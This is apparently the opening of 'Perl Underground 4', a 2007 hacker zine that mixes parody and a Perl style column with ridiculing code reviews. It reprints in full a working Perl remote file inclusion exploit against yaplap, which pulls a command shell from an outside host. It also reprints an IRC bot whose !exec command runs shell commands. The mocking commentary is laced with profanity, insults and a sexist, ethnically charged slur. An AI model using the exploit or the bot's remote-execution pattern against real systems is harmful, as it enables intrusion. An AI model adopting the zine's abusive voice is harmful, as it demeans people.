$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$ $$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$$ $$$$$$$$$$$$ $$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ [root@yourbox.anywhere]$ date Mon Feb 26 21:04:21 EST 2007 [root@yourbox.anywhere]$ ls -lt total 216 -rw------- 1 puyou puyou 0 2007-02-26 20:32 TOC -rw------- 1 puyou puyou 1368 2007-02-26 20:21 intro.txt -rw------- 1 puyou puyou 3476 2007-02-26 18:21 spaceman_spiff.txt -rw------- 1 puyou puyou 4787 2007-02-26 18:20 kiddie.txt -rw------- 1 puyou puyou 7672 2007-02-26 18:20 merlyn.txt -rw------- 1 puyou puyou 478 2007-02-26 18:20 noob.txt -rw------- 1 puyou puyou 24921 2007-02-26 18:19 preddy.txt -rw------- 1 puyou puyou 1707 2007-02-26 18:19 vipul.txt -rw------- 1 puyou puyou 1571 2007-02-26 18:19 cpanel.txt -rw------- 1 puyou puyou 17138 2007-02-26 18:19 regex.txt -rw------- 1 puyou puyou 11384 2007-02-26 18:17 2600.txt -rw------- 1 puyou puyou 897 2007-02-26 18:15 saltmarsh.txt -rw------- 1 puyou puyou 3636 2007-02-26 18:14 perl6.txt -rw------- 1 puyou puyou 5326 2007-02-26 18:12 foster_and_burnett.txt -rw------- 1 puyou puyou 3072 2007-02-26 18:12 jon_erickson.txt -rw------- 1 puyou puyou 26922 2007-02-26 18:12 mjd.txt -rw------- 1 puyou puyou 3768 2007-02-26 18:12 napta.txt -rw------- 1 puyou puyou 28681 2007-02-26 18:12 p5p.txt -rw------- 1 puyou puyou 5242 2007-02-26 18:12 nasti.txt -rw------- 1 puyou puyou 657 2007-02-26 18:11 egomaniac.txt -rw------- 1 puyou puyou 4233 2007-02-26 18:10 cirt.dk.txt -rw------- 1 puyou puyou 979 2007-02-26 18:08 str0ke.txt -rw------- 1 puyou puyou 715 2007-02-26 18:07 ownedbypu.txt -rw------- 1 puyou puyou 1359 2007-02-26 18:05 outr0.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 1368 2007-02-26 20:21 rant/intro.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Welcome to Perl Underground 4. Despite consideration of options, this is much like the other Perl Underground zines. Despite not doing so in the previous editions, I would like to expose a few of the artistic choices that went into the making of this one. In the past, particularly in PU and PU2, we went right after a lot of big names. We clearly established that we would go after anybody, no matter how much we respect them or to what degree they write good code. In this zine, there are far fewer celebrities. Targets were chosen on a merit basis. We focus on some very bad code, but also on some code that is merely creative in the ways that it is bad. Do not worry, we still have a little poke at str0ke. Our previous editions focused on older quality articles from legendary gurus, in a way to fill many of our readers in on a missed heritage. PU4 is more contemporary. There are few "School You" articles, but some of them are very new. Hopefully they give a diverse picture of the current Perl world. As for the creative writing pieces that I chose to title as "rants" based on the nature of the very first of them, I think they have enough funny parts, and a few easter eggs. A prize to anyone who can figure out where saltmarsh.txt comes from. Bonus points for class if you knew it originally. Thank you for your attention, and please enjoy the publication. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 3476 2007-02-26 16:07 rant/spaceman_spiff.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ < If you're going to tear around with a squirt gun, do it outside! > A dreaded Naggon mother ship fires a bolt of deadly destructo ray that sends a small, red spacecraft reeling towards an unknown planet! Inside that spacecraft is our hero, the intrepid... [ Perl Underground is proud to present ] :::::::: ::::::::: ::: :::::::: :::::::::: ::: ::: ::: :::: ::: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+:+: :+: :+: :+:+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ :+:+:+ +:+ +#++:++#++ +#++:++#+ +#++:++#++: +#+ +#++:++# +#+ +:+ +#+ +#++:++#++: +#+ +:+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#+# ######## ### ### ### ######## ########## ### ### ### ### ### #### :::::::: ::::::::: ::::::::::: :::::::::: :::::::::: INTERPLANETARY :+: :+: :+: :+: :+: :+: :+: EXPLORER +:+ +:+ +:+ +:+ +:+ +:+ EXTRAORDINAIRE +#++:++#++ +#++:++#+ +#+ :#::+::# :#::+::# +#+ +#+ +#+ +#+ +#+ #+# #+# #+# #+# #+# #+# ######## ### ########### ### ### Our hero wrestles the controls, but the altituditron refuses to respond! With ever increasing velocity, Spiff roars to his doom! Spiff's only hope is to attempt a thousand mile-an-hour landing! Our hero lowers the landing gear and levels out! WILL HE MAKE IT?? < hmph. > YES! The incredible Spaceman Spiff survives! Dazed, but unhurt, our hero crawls from the smoldering wreckage! Spiff sets off across the planet surface. An ominous, shadowy figure flits across a nearby hilltop! An alien! Our hero darts behind a rock and sets his zorcher on "shake and bake." The alien approaches! < Hi Calvin! I see you, so you can stop hiding now! Are you playing cowboys or something? Can I play too? > It's a loathesome bat-webbed booger being... A repulsive leech-like creature that attaches itself to you and never lets you alone until you're dead!! Our hero springs into action! KISS YOUR PROTONS GOODBYE, BOOGER BEING!! Spiff fires repeatedly... But to his great surprise and horror, the zorch charge is absorbed by the booger being with no ill effect! Instead, the monster only becomes angry! < Why'd you do THAT, you mean little creep?!? I'm telling your mom!! > < uh oh. > ZOUNDS! The booger being is in alliance with the naggon mother ship that shot spiff down in the first place! Our hero opts for a speedy getaway! At the booger being's distress signal, a gigantic naggon materializes on the planet surface! With a ground-shaking lunge, the naggon is after Spaceman Spiff! Our hero leaps into a crevice! Knowing his zorcher would be useless against the behemoth, Spiff arms the demise-o bomb he keeps in his belt for such an emergency! The naggon rounds the corner! Spiff heaves the bomb! < Ha ha! Death to naggons! > < Calvin, don't you dare throw that.. > The monster is only stunned! Spiff quickly tries to arm another bomb! It's too late! The naggon has him! What will happen NOW?? < Hi honey, I'm home! Boy, what a day at the off.. > < ..Uh, what's with the towels... Or don't I want to know? > < Your son is in his room, waiting for you to have a talk with him. > In the smelly, gloomy dungeon, Spaceman Spiff prepares a cunning trap for the approaching naggon king! Soon our fearless hero will be free again! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 4787 2007-02-26 18:20 laugh/kiddie.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Croquet is a gentleman's game. #!/usr/bin/perl #yaplap Remote File Inclusion Vulnerablity #Version 0.6 & 0.6.1 #Class = Remote File Inclusion #Bug Found & Exploit [c]oded By DeltahackingTEAM (Dr.Trojan&Dr.Pantagon) #Download:http://osdn.dl.sourceforge.net/sourceforge/yaplap/yaplap-0.6.1.tar.gz #Vulnerable Code:include $LOGIN_style."_form.php"; #[Path]/Index.php?site_main_path= #Exploit: ldap.php?LOGIN_style=[shell] # FUCK Your Mother &Your SisTer=>>> z_zer0c00l # ^^^^^^^^^^^^^ script kiddie nonsense use LWP::UserAgent; # ^^ good thing you did not include strict or warnings .. did not figure you would seeing as you can not code $target=@ARGV[0]; # usg() unless my ($target) = shift =~ m!^(http://[^\n]+)!; $shellsite=@ARGV[1]; # usg() unless my ($shellsite) = shift =~ m!^(http://[^\n]+)!; $cmdv=@ARGV[2]; #$cmdv = shift || usage(); if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv) # stabbing my eyes with toothpicks and ugly regexs! # you do not even check where the http:// is try using ^ { usg() } header(); # my ($cmd); # LEARN TO INDENT CODE YOU DO HAVE A TAB KEY RIGHT!!!!!!!!!! while() { print "[Shell] \$"; while () { $cmd=$_; chomp($cmd); # ^ that is disgusting try this: # while(chomp($cmd = )) $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET=>$target.'ldap.php?LOGIN_style='.$shellsite='.?&' .$cmdv.'='.$cmd)or die "\n\n Failed to Connect, Try again!\n"; # $req = HTTP::Request->new(GET=>"$targetldap.php?LOGIN_style=$shellsite=?&$cmdv=$cmd") # or die "\n\n Failed to Connect, Try again!\n"; $res = $xpl->request($req); $info = $res->content; $info =~ tr/[\n]/[ê]/; # do you even know what this means? if (!$cmd) { print "\nEnter a Command\n\n"; $info =""; } # why all this print and unsetting a variable? # try: # next if (!$cmd); elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/: Cannot execute a blank command in /) { print "\nCould Not Connect to cmd Host or Invalid Command Variable\n"; exit; } # die("\nCould Not Connect to cmd Host or Invalid Command Variable\n") if # ($info =~/failed to open stream: HTTP request failed!/ || # $info =~/:Cannot execute a blank command in /); elsif ($info =~/^.Warning/) { print "\nInvalid Command\n\n"; }; # die("...") if ($info =~/^.Warning/); if($info =~ /(.+).Warning.(.+).Warning/) # this is pretty funny that you capture two strings and only use one. # showing again that you dont know how to code but instead copy paste # also what is the point of ? were you trying to match
? # they have this thing called "\s" it stands for "space" # not that you would know for reasons mentioned before. # also why do you have Warning.(.+) ? did you mean to escape the special # character "."? Do you even know what escaping is....... # How about: # if($final = $info =~ /(.+).Warning\..+.Warning/){ print "$final\n"; last; # ^ SEE THE TAB MAKES YOUR CODE READABLE NOT LIKE ANYONE USES YOUR BULLSHIT ANYWAY } { $final = $1; $final=~ tr/[ê]/[\n]/; print "\n$final\n"; last; } # ^^ /me throws up # since we exit after every case here and dont have your ugly # if-else-block we can just print "[shell] \$"; else { print "[shell] \$"; } # You } # fail } # at last; # life sub header() { print q{ ******************************************************************************* ***(#$#$#$#$#$=>http://www.deltasecurity.ir<=#$#$#$#$#$)*** Vulnerablity found By: DeltahackingTEAM Exploit [c]oded By: Dr.Trojan Dr.Trojan,HIV++,D_7j,Lord,VPc,Tanha,Dr.Pantagon http://advistory.deltasecurity.ir We Server(99/999% Secure) <<<<>>>> Email:Dr.Trojan[A]deltasecurity.ir 0nly Black Hat ****************************************************************************** } # ^ L1k3 OMg i n3v3r heard of tab and im so l33t # my name is dr. trojan i R master of t3h sub 7 # 0nly bl4ckh4t em4ilz so w3 can r3l34s3 0day w4r3z like the true blackhats h0h0h0h0h0 # catch us on zone-h.org http://www.zone-h.org/component/option,com_attacks/Itemid,43/filter_defacer,DeltahackingSecurityTEAM/ # we w1ll 0wn your phpbb board ph33r us!@#!@#!@#@!#!@#!@ } sub usg() { header(); print q{ Usage: perl delta.pl [tucows fullpath] [Shell Location] [Shell Cmd] [yaplap FULL PATH] - Path to site exp. www.site.com [shell Location] - Path to shell exp. d4wood.by.ru/cmd.gif [shell Cmd Variable] - Command variable for php shell Example: perl delta.pl http://www.site.com/[yaplap]/ ******************************************************************************** }; exit(); } # found at: http://milw0rm.com/exploits/2930 # took me three bottles of jack and an iranian slut to finish this code but im done # back to the physch ward after this one ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 7672 2007-02-26 18:20 school/merlyn.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [suggested title: ``Practicing Best Perl''] Roughly a year ago, my friend Damian Conway published a hefty tome called Perl Best Practices. He managed to gather 256 strongly suggested ideas and behaviors that had made his Perl hacking more successful for him and his customers over the years. As a reviewer on the book, I was happy enough with what I had seen to provide a quote which was eventually selected for the back cover: As a manager of a large Perl project, I'd ensure that every member of my team has a copy of Perl Best Practices on their desk, and use it as the basis for an in-house guide. A year later, looking back, I'm still happy with what I've seen, including how some of my clients have taken my advice to heart. While I don't intend for this column to be a book review, I wanted to provide some context for the rest of what I have to say this time around. I've been writing computer programs for over 35 years, including 25 years of doing that and getting paid for it. One of the hardest things to convey in little snippets of code and random Perlmonks posting is the larger picture of ``don't do this because I got burned doing that a long time ago''. Apparently, the young'uns these days just want to get something hacked out, or figure that their problem is just completely unique and some advice I may be able to dish out in a one-liner can't possibly apply to them. Or they think they know better. That's fine. We need the enthusiasm of the unscarred youth to explore new and better spaces. But time-after-time, many of them come to realize that maybe the old grey-beards actually had some sane thing to say about their task. For example, a frequent request comes along on how to have a variable name contain all or part of another variable name. In Perl, we can certainly accomodate access to the package variables using symbolic references, and (with some difficulty) the lexicals with a well-formed eval-string operation. But the caveat I include (with either my own posting, or as a footnote to someone else's unqualified answer) is don't do that. To many people asking the question, it's often a puzzling response, because they see me giving, and yet taking away, in the same answer. My fear, of course, is that they listen to the ``how'' and completely ignore the ``why not'', and run off to write code that will be unmaintainable and possibly expose some security holes. But this is the difference between knowing how to code in Perl, and knowing the best way to code in Perl. I know from my years of practice that code that blurs data and variable names will be hard to maintain, and prone to problems. But I have to convey that in a way that seems more about intuition than by reeling off all those moments in the past that give the basis of my conclusions. Naturally, the ``Yeah, but there's more than one way to do it'' war chant is often returned, but I think that's misunderstanding what Larry Wall means as he says that. Larry wants Perl to have the power of expression to suit the coder and situtation, including perhaps having multiple ways to say the same thing to emphasize various aspects. He doesn't intend the phrase to imply ``... and all ways are equally valid and suitable for every occasion''. This is where Damian Conway's book comes in to play. Damian has helped sort out the things that most Perl experts agree are more likely to produce better code faster and easier, narrowing down the many ways to do things into the ways people seem to get more things done. And although some of the things might be considered arbitrary, or perhaps even controversial, Damian makes strong arguments for each item, so even if you disagree, you can say, ``Hey, he's got a good point here.'' To illustrate my point, let's look at a few of Damian's ``Best Practices'', albeit illustrated with my own examples when I think of them. For example, in Chapter Two, we see ``Never place two statements on the same line''. Sure, it sounds simple. But there are some important implications of this advice. First, a statement in Perl is a logical step: the kind of thing that you'd want to add, remove, cut, or paste. If you have two statements on a line, it's harder to edit your program to have more steps. But more importantly perhaps, the Perl debugger can place a breakpoint only on a line-by-line basis. So although the second statement might be a logical stopping point during single-stepping or code evaluation, having put the statement mid-line, we no longer have that option. While Perl normally doesn't care about increased or decreased whitespace, we see an important semantic change here by not following this (now hopefully motivated) advice. When I first read that advice, it sat with me like ``well, of course''. But that's because I had already been burned by not being able to set a breakpoint on a mid-line statement, so I carry the scar, vowing never to get burned that way again. That's what makes a book like this have a great deal of value, giving others the chance to learn from my scars. The very next advice, ``Code in Paragraphs'', is also something I did quite naturally and frequently, which you know if you've been reading my past columns and books. I like to use whitespace to create ``paragraphs'' of statements (considering the statement as a ``sentence''). For example, in a subroutine call, I place an extra blank line after any code that sorts out the initial processing of @_: sub marine { my $wave = shift; my $direction = shift; ... more processing here ... } The extra blank line gives some ``breathing room'' to the eye, as well as suggest that I'm ``changing gears'' a bit in the next section. The blank line costs only a single \n character, and yet I'm saving a bit of time for everyone reading the program. In addition to adding these blank lines every dozen or fewer code lines, I generally add a topic comment in front of the following chunk: ## compute the value ... code here ... to do ... the computation ## copy the data to the cache ... more ... code ## update the cache freshness ... code here ## return the value return $the_value; Each comment begins with a double-hash ## so that my eye can immediately jump to it, and the comment describes the actions taken by the next few lines of code. I rarely write more than one line in these comments: consider them a ``headline''. Again, it's a little thing, but it's amazing how much more readable the code is when you can keep doing these ``little things'' consistently. In chapter 4, I found the advice ``Use named constants, but don't use constant''. I found that rather shocking, and initially (mockingly) offensive because the core module constant had been written by my fellow Stonehenge employee, Tom Phoenix. However, Damian goes on to describe the much more powerful and useful Readonly module (found in the CPAN), of which I had previously been unaware. Compare the following with use constant: use constant PI => 3.2; print "In Indiana, Pi might have been @{[PI]}\n"; versus the equivalent with Readonly: use Readonly; Readonly my $PI = 3.2; print "In Indiana, Pi might have been $PI\n"; Yes, the Readonly interface creates actual scalars (rather than subroutines as with use constant), which can be much more easily interpolated into strings, used as bareword keys, or even work nicely as readonly arrays and hashes. So, even a beardless Perl ``greybeard'' like me can learn a new trick from a book like Perl Best Practices and that's pretty cool. So, I suggest you go out immediately and add this book to your shelf (real or virtual), and until next time, enjoy! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 478 2007-02-26 18:20 rant/noob.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dear Perl Underground, Hi! I really like your zine. It sure was funny how you made fun of those guys. You should make fun of more guys. I didn't actually read any of the articles except for the insult parts. I especially didn't read the parts written by elite Perl coders trying to educate the ignorant masses of which I am a part. In fact, my Perl code is complete shit and yet it hasn't occured to me that I could end up in the next PU. Desperately in Love, A Stupid Noob ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 24921 2007-02-26 18:19 laugh/preddy.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ That's a lie! You ALWAYS take the lucky red ball first! #!/usr/bin/perl ################################################################################################### # #Ircbot - by Preddy #Commands: # #!bitch (info about the owner of the bot) #!crack (to lookup an md5 hash and get the plain text format of it..(3 website's)) #!md5gen (to generate an md5 hash) #!quote (to view a quote from a list of famous computer quotes) #!changenick (to change the bot's name to a random name from the list.. Usage: !changenick ) #!inject (to inject the user with an injectable object eg: a toothbrush) #!proxy (to get a list of proxies from nntime.com) #!advisories (to get a list of advisories from secunia.com) #!exploits (to get a list of exploits from milw0rm.com) #!securitynews (to get the latest securitynews from addict3d.org) #!technews (to get the latest technews from addict3d.org) #!gewgle (search for something at google) #!exec (executes a command,requires the owners password.. usage: !exec ) #!suicide (kill the bot..usage: !suicide #!say (Let the bot say a message to the channel..usage: !say ) # #Other Features: # #Bot greets with: Good morning sir... (if string: morning is detected) #Bot auto-rejoins after a kick with a newly changed name #Bot replies to PING requests from the server ################################################################################################### # # You should use POD. Really. It is so nice, so pretty! use IO::Socket; use Switch; use Digest::MD5 qw(md5_hex); # Switch is lame. Unfortunately Perl 5 does not have a proper switch statement, and for that we # apologize. However, Switch sucks. # Use strict and warnings. $server = 'ABS.lcirc.net'; $port = '6667'; # NO QUOTING $user = 'P02 P03 P04 :P___'; # PU4, staring right at you! $nick = 'P02'; $chan = '#milw0rm'; $logfile = 'irc-log.txt'; $owner = '|Preddy|'; $pass = 'c02b7d24a066adb747fdeb12deb21bfa'; #penis # Yes, penis, how amusing. Now make your variables lexical # If you are going to bother with minimal password security # why not use a password whose hash won't crack quite so quickly? $con = IO::Socket::INET->new(PeerAddr=>$server, PeerPort=>$port, Proto=>'tcp', Timeout=>'30') || print "Error: Connection\n"; # $! is a useful variables print $con "USER $user\r\n"; print $con "NICK $nick\r\n"; print $con "JOIN $chan\r\n"; # So is $\ while($answer = <$con>) { # Shit this is ugly. All ugly. ALL UGLY open(LOG,">>$logfile"); print LOG "$answer"; close(LOG); #who's yo daddy? if($answer =~ m/\!bitch/) { # You realize that will match !bitch anywhere, not just the beginning of your line? # Mistakes can happen! # And, escaping not necessary in that circumstance if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; # holy fuck you line waster # I'm calling the environment police, you're killing \ns print $con "privmsg $xchannel :I am tha bitch of $owner..\n"; } } if($answer =~ m/\!suicide/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; @strpart = split(" ",$xtext); $p = $strpart[1]; $encpw = md5_hex($p); # How about shorter and smarter? my $encpw = md5_hex( (split(' ', $xtext))[1] ); or so? if($encpw == $pass) { exit; } # exit if $encpw == $pass; } } if($answer =~ m/\!say/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; @strpart = split(" ",$xtext); $p = $strpart[1]; $encpw = md5_hex($p); if($encpw == $pass) { $msg = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8] $strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15] $strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22] $strpart[23] $strpart[24] $strpart[25]"; # You dumb fuck. How about $msg = join ' ', @strpart; print $con "privmsg $chan :$msg\n"; } } } if($answer =~ m/\!exec/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; @strpart = split(" ",$xtext); $p = $strpart[1]; $encpw = md5_hex($p); if($encpw == $pass) { # You really dumb fuck. you split it up there, just to manually output it here $cmd = "$strpart[2] $strpart[3] $strpart[4] $strpart[5] $strpart[6] $strpart[7] $strpart[8] $strpart[9] $strpart[10] $strpart[11] $strpart[12] $strpart[13] $strpart[14] $strpart[15] $strpart[16] $strpart[17] $strpart[18] $strpart[19] $strpart[20] $strpart[21] $strpart[22] $strpart[23] $strpart[24] $strpart[25]"; @output = qx($cmd); foreach $command (@output) { print $con "privmsg $xnick :$command\n"; } # One line it! Do it! } } } if($answer =~ m/\!gewgle/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; # Why don't you assign those (properly!) once, earlier in the program, # and stop SUCKING for the rest of it? @words = split(" ",$xtext); $word = $words[1]; # my $word = (split ' ', $xtext)[1]; $getres = IO::Socket::INET->new(PeerAddr=>'64.233.183.104',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; # Lame quotes. And include $! in your error message. print $getres "GET /search?num=1&hl=en&lr=lang_en&q=$word&btnG=Search HTTP/1.0\n"; print $getres "Host: www.google.com\n\n"; # We have modules for this kind of thing. To make sure it goes down right, bitch print $con "privmsg $xchannel :Word: $word\n"; while($res = <$getres>) { $res =~ m// && print $con "privmsg $xchannel :Result : $1\n"; } } } if($answer =~ m/\!crack/) { if($answer =~ m/^\:(.*?)\!(.*?)\@(.*?) PRIVMSG (.*?) :(.*?)$/) { $xnick = $1; $xident = $2; $xhost = $3; $xchannel = $4; $xtext = $5; @parts = split(" ",$xtext); $hash = $parts[1]; $gethash = IO::Socket::INET->new(PeerAddr=>'80.190.251.212',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $gethash "GET /?q=$hash&b=MD5-Search HTTP/1.0\n"; print $gethash "Host: md5.rednoize.com\n\n"; $gethash3 = IO::Socket::INET->new(PeerAddr=>'67.18.64.178',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $gethash3 "GET /find?md5=$hash HTTP/1.0\n"; print $gethash3 "Host: us.md5.crysm.net\n\n"; $gethash4 = IO::Socket::INET->new(PeerAddr=>'67.15.126.34',PeerPort=>'80',Proto=>'tcp',Timeout=>'1') || print "Error: Connection\n"; print $gethash4 "POST / HTTP/1.1\n"; print $gethash4 "Host: www.md5decrypt.com\n"; print $gethash4 "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\n"; print $gethash4 "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 \n"; print $gethash4 "Accept-Language: en-us,en;q=0.5\n"; print $gethash4 "Accept-Encoding: gzip,deflate\n"; print $gethash4 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n"; print $gethash4 "Keep-Alive: 300\n"; print $gethash4 "Connection: keep-alive\n"; print $gethash4 "Referer: http://www.md5decrypt.com/\n"; print $gethash4 "Content-Type: application/x-www-form-urlencoded\n"; print $gethash4 "Content-Length: 43\n"; print $gethash4 "\n"; print $gethash4 "h=$hash&s=Search\n"; # Think of all the space you could have saved with a proper and easy quoting mecanism! print $con "privmsg $xnick :Hash: $hash\n"; while($ghash = <$gethash>) { if($ghash =~ m/

(.*?) /) { $hh = $1; $hh =~ s/://; $hh =~ s//?/; $hh =~ s/\n//; # tr $hh =~ s/QUIT//; $hh =~ s/quit//; # //i if($hh =~ m/ /) { $hh = "?????"; } if($hh =~ m/\n/) { $hh = "?????"; } if($hh =~ m/-/) { $hh = "?????"; } # Those three could have been a one liner. Combined. print $con "privmsg $xnick :md5.rednoize.com : $hh\n"; } } while($ghash3 = <$gethash3>) { if($ghash3 =~ m/
  • (.*?)<\/li>/) { $hh2 = $1; $hh2 =~ s/://; $hh2 =~ s//?/; $hh2 =~ s/\n//; $hh2 =~ s/QUIT//; $hh2=~ s/quit//; # What horribly lame variable cleaning if($hh2 =~ m/ /) { $hh2 = "?????"; } if($hh2 =~ m/\n/) { $hh2 = "?????"; } if($hh2 =~ m/:/) { $hh2 = "?????"; } # Look at the code reuse. Everything in this program could be so much shorter # if you weren't a FUCKING MORON print $con "privmsg $xnick :us.md5.crysm.net : $hh2\n"; } } while($ghash4 = <$gethash4>) { if($ghash4 =~ m/
